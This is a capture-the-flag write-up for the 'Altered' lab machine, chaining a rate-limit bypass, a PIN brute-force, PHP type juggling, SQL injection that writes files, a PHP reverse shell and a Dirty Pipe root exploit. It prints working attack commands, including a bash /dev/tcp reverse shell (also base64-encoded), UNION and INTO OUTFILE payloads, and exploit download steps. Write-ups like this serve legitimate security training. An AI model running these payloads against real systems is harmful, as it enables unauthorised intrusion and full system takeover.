Introduction
Altered is a hard-difficulty Linux machine running a Laravel web application with a vulnerable password reset flow. The path chains together several distinct techniques - rate-limit bypass, brute-force, SQL injection, PHP file write, and a kernel exploit - each one handing off cleanly to the next. The full path to root:
- Enumeration → Nmap reveals SSH on port 22 and Nginx on port 80
- Username enumeration → the login error messages differ for valid vs invalid usernames, confirming
adminexists - Rate-limit bypass → the
/api/resettokenPIN endpoint is rate-limited, but addingX-Forwarded-Forheaders with spoofed IPs bypasses it - PIN brute-force →
wfuzzcycles through all 4-digit PINs (1000-9999) to find the correct reset PIN - Password reset → use the PIN at
/resetto set a new password and log in asadmin - SQL injection → the profile view endpoint is injectable; type juggling bypasses the integrity check;
UNIONpayloads dump the DB and read/write files - PHP webshell → write a reverse shell PHP script to the web root via SQL
INTO OUTFILE - Foothold → trigger the shell; catch it with Netcat as
www-data - Privilege escalation → kernel version
5.16.0is vulnerable to CVE-2022-0847 (Dirty Pipe); exploit it to get a root shell
Key Concepts
What is Laravel? Laravel is a popular PHP web framework. It uses session cookies named laravel_session and a CSRF token named XSRF-TOKEN. Seeing these headers in a request is a dead giveaway that the site is built on Laravel.
What is rate limiting? Rate limiting caps how many requests you can make in a given time window - for example, only 10 PIN attempts per minute. It’s designed to prevent brute-force attacks. Here, Laravel tracks your IP address to enforce the limit.
What is X-Forwarded-For? An HTTP header that proxies use to pass along the real client IP. If a web server trusts this header without validating it, you can spoof any IP you want simply by adding the header to your request. Here, Nginx is configured as a reverse proxy and passes X-Forwarded-For to Laravel, which then uses that value as the client IP for rate limiting - making the bypass trivial.
What is type juggling? A PHP quirk. When PHP compares values with == (loose equality), it coerces types. The boolean true is considered equal to any non-empty string. So if a backend checks $secret == $userInput and you send true as JSON, PHP evaluates it as true == "abc123" - which is true. This lets you bypass checks without knowing the actual secret value.
What is SQL injection? A vulnerability where user-supplied input is placed directly into a SQL query without sanitisation. An attacker can break out of the intended query and add their own SQL. Here, the id parameter in the profile API is injectable. UNION SELECT lets us read data from any table; LOAD_FILE() reads arbitrary files from disk; INTO OUTFILE writes files to disk - including PHP scripts to the web root.
What is a reverse shell? A technique where the target machine connects back to the attacker rather than the attacker connecting to the target. This sidesteps firewalls that block inbound connections. You start a Netcat listener on your machine, the target fetches and executes a PHP script that opens a bash connection back to you, and you now have an interactive terminal on the server.
What is Dirty Pipe (CVE-2022-0847)? A Linux kernel vulnerability discovered in 2022 that affects kernels from 5.8 through 5.16.11. It exploits a flaw in the way the kernel’s pipe mechanism handles page cache flags. An unprivileged user can overwrite data in read-only files - including SUID binaries and /etc/passwd - without needing write permissions. Using it against a SUID binary like pkexec drops a root shell.
Enumeration
Nmap
ports=$(nmap -p- --min-rate=1000 -T4 <TARGET> | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -Pn -sC -sV <TARGET>
Key open ports:
| Port | Service | Notes |
|---|---|---|
| 22 | SSH - OpenSSH 8.2p1 | Standard; keep in mind for later |
| 80 | HTTP - Nginx 1.18.0 | Web app titled “UHC March Finals” |
Only two ports, so the entire attack surface is the web application on port 80.
HTTP: Login Page
Browsing to port 80 redirects to /login. Trying admin/admin gives the message “Invalid Password” - but trying a made-up username like test gives “User does not exist”. The different error messages let us enumerate valid usernames.
Why do different error messages matter? If the error is generic (“Invalid credentials”) for both cases, you can’t tell whether the username is wrong or the password is. Here, the app leaks which one failed, letting us confirm that
adminis a real account.
Bypassing Rate Limiting & Brute-Forcing the PIN
Password Reset Flow
On the login page there is a Forgot Password? button. Submitting admin as the username at /reset triggers the message “A PIN has been emailed to you” and produces a second form asking for the 4-digit PIN.
Intercepting the request in Burp Suite shows the POST going to /api/resettoken with the body name=admin&pin=1234. The presence of a laravel_session cookie confirms the Laravel framework.
Since the PIN is only 4 digits (1000-9999 = 9000 possibilities), brute-force is feasible - but the server returns 429 Too Many Requests after a handful of attempts.
Rate-Limit Bypass
The server uses the client IP from the X-Forwarded-For header (because Nginx acts as a proxy). Adding X-Forwarded-For: 127.0.0.1 to the request in Burp Repeater returns 200 OK instead of 429.
To rotate IPs automatically during brute-force, use wfuzz with two wordlists in -zip mode - one for the PIN, one for the IP suffix:
# Step 1: generate a file with enough IP suffix numbers (1-254, repeated)
count=0; while [ $(wc -l < numbers) -le 10000 ]; do
for i in $(seq 1 254); do echo $i; ((count++)); done
done >> numbers
# Step 2: run wfuzz - FUZZ = PIN, FUZ2Z = last octet of the spoofed IP
sudo wfuzz \
-H 'Cookie: XSRF-TOKEN=<your_token>; laravel_session=<your_session>' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'X-Forwarded-For: 127.0.0.FUZ2Z' \
-u http://<TARGET>/api/resettoken \
-d 'name=admin&pin=FUZZ' \
-z range,1000-9999 \
-m zip \
-w numbers \
--hh 5644
--hh 5644 hides responses with exactly 5644 characters (the “invalid PIN” response), so only the successful response shows up.
Result: A single response with a different character count reveals the valid PIN - 2283 in this example run.
What does
-m zipdo in wfuzz? It pairs entries from two wordlists together position by position (1000 with 1, 1001 with 2, etc.) rather than testing every combination. This is what lets us rotate the IP suffix in sync with the PIN.
Reset the Password
Navigate to /reset, enter admin and the discovered PIN. The app presents a Change Password form. Set any password and log in.
Exploring the Dashboard
After logging in, the dashboard shows a UHC Player List with names, countries, and a View link per player. Clicking View loads player profile details.
Intercepting the View request shows it hits an API endpoint:
GET /api/getprofile?id=1&secret=89cb389c73f667c5511ce169813809cb
Two things to note: every user has the same secret value regardless of their ID, and adding a single quote ' to the id parameter returns “Tampered user input detected” - a sign there is input filtering and a SQL query behind this parameter.
SQL Injection
Bypassing the Integrity Check with Type Juggling
The endpoint also accepts JSON. Sending a standard JSON request with the correct id and secret works fine:
{"id": "1", "secret": "89cb389c73f667c5511ce169813809cb"}
Now try replacing secret with the boolean true:
{"id": "4", "secret": true}
This returns valid player data. PHP’s == comparison treats true as equal to any non-empty string, so the integrity check passes without needing the real secret. This is the type juggling bypass.
Confirming Injection
With type juggling unlocked, adding a quote to the id field now returns a Server Error rather than “Tampered input” - PHP’s query errored out, confirming SQL injection.
A UNION SELECT with one column returns nothing; with three columns it works:
{"id": "100 union select 1,2,3-- -", "secret": true}
The value in column 3 appears in the response body, so that is the output column to use.
Enumerating the Database
-- List all databases
100 union select 1,2,group_concat(schema_name) from information_schema.schemata-- -
-- List tables and columns in the uhc database
100 union select 1,2,group_concat(concat('\n', table_name, ':', column_name))
from information_schema.columns where table_schema = 'uhc'-- -
-- Dump usernames and password hashes
100 union select 1,2,group_concat(concat('\n', name, ':', password)) from users-- -
The password hashes aren’t particularly useful since any player could change them. The more interesting capability is file access.
Reading Files with LOAD_FILE
-- Read /etc/passwd
100 union select 1,2,load_file('/etc/passwd')-- -
-- Find the web root from the Nginx config
100 union select 1,2,load_file('/etc/nginx/sites-enabled/default')-- -
The Nginx config shows root /srv/altered/public; - this is where we need to write our shell.
Writing Files with INTO OUTFILE
First, confirm write access by writing a test file:
100 union select 1,2,'test' into outfile '/srv/altered/public/test.html'-- -
The API returns a 500 error (expected - MySQL can’t write and return results simultaneously), but visiting http://<TARGET>/test.html shows the word “test”, confirming write access to the web root.
Foothold: PHP Reverse Shell
Write the Shell
Base64-encode the reverse shell payload to avoid quote conflicts in the SQL injection:
echo "bash -c 'bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1'" | base64
# YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNC80NDQ0IDA+JjEnCg==
Inject the PHP file via SQL:
100 union select 1,2,'<?php system(base64_decode("YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNC80NDQ0IDA+JjEnCg==")); ?>'
into outfile '/srv/altered/public/shell.php'-- -
Why base64-encode the payload? The SQL injection and PHP layer both have quote-handling quirks. Encoding the shell as base64 and decoding it at runtime sidesteps those issues - the only characters in the SQL string are letters, numbers, and
=, none of which need escaping.
Catch the Shell
nc -lvnp 4444
Now browse to http://<TARGET>/shell.php. The page hangs (the shell is connecting), and the Netcat listener receives the connection:
connect to [<YOUR_IP>] from (UNKNOWN) [<TARGET>] 46388
bash: cannot set terminal process group (931): Inappropriate ioctl for device
www-data@altered:/srv/altered/public$
Upgrade to a stable shell:
script /dev/null -c /bin/bash
User Flag
cd /home/htb
cat user.txt
Privilege Escalation: Dirty Pipe (CVE-2022-0847)
Check the Kernel Version
uname -a
# Linux altered 5.16.0-051600-generic #202201092355 SMP PREEMPT Mon Jan 10 00:21:11 UTC 2022
Kernel 5.16.0 falls squarely in the vulnerable range for CVE-2022-0847 (Dirty Pipe): kernels 5.8 through 5.16.11.
What exactly does Dirty Pipe do? Linux uses a “pipe” structure to pass data between processes. Due to a missing flag initialisation in the kernel, data written to a pipe can “spill” into adjacent kernel page cache entries - which may correspond to files on disk, even read-only ones. An attacker can exploit this to overwrite a byte in a SUID binary. The trick: replace the first byte of the binary with something invalid, causing the kernel to exec a controlled payload when the SUID binary is run. The most reliable variant overwrites the SUID binary in-place, drops a SUID shell to
/tmp/sh, then restores the original binary.
Download and Compile the Exploit
On your local machine:
wget https://raw.githubusercontent.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits/refs/heads/main/exploit-2.c
gcc exploit-2.c -o exploit
python3 -m http.server 4000
On the target:
cd /tmp
wget http://<YOUR_IP>:4000/exploit
chmod +x exploit
Run the Exploit
Point the exploit at a SUID binary - pkexec is a reliable target:
./exploit /usr/bin/pkexec
[+] hijacking suid binary..
[+] dropping suid shell..
[+] restoring suid binary..
[+] popping root shell.. (dont forget to clean up /tmp/sh ;))
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data),117(mysql)
Root Flag
cat /root/root.txt
Summary
nmap → port 22 (SSH), port 80 (Nginx / Laravel)
↓
/login → error message difference → admin is a valid username
↓
/reset → submit admin → 4-digit PIN emailed
↓
wfuzz -z range,1000-9999 + X-Forwarded-For IP rotation
→ rate-limit bypassed → valid PIN found (e.g. 2283)
↓
/reset → PIN → Change Password form → set new password → log in as admin
↓
Dashboard → Player List → View profile → GET /api/getprofile?id=1&secret=...
↓
JSON POST with "secret": true → type juggling → integrity check bypassed
↓
id = "100 union select 1,2,3-- -" → SQL injection confirmed
↓
LOAD_FILE('/etc/nginx/sites-enabled/default') → web root = /srv/altered/public
↓
INTO OUTFILE '/srv/altered/public/shell.php' → PHP reverse shell written
↓
nc -lvnp 4444 → browse /shell.php → shell as www-data
→ USER FLAG (/home/htb/user.txt)
↓
uname -a → kernel 5.16.0 → CVE-2022-0847 (Dirty Pipe)
↓
compile exploit-2.c → transfer to /tmp → ./exploit /usr/bin/pkexec
↓
root shell → ROOT FLAG (/root/root.txt)
Tools Used
| Tool | What it does | How to get it |
|---|---|---|
| nmap | Port scanning and service detection | sudo apt install nmap |
| Burp Suite | HTTP proxy for intercepting and modifying requests | portswigger.net/burp |
| wfuzz | Web fuzzer; used here to brute-force the PIN with rotating IPs | sudo apt install wfuzz |
| netcat (nc) | Listens for the incoming reverse shell connection | Built into Kali |
| gcc | Compiles the C exploit locally | sudo apt install gcc |
| python3 -m http.server | Serves the compiled exploit to the target | Built into Python 3 |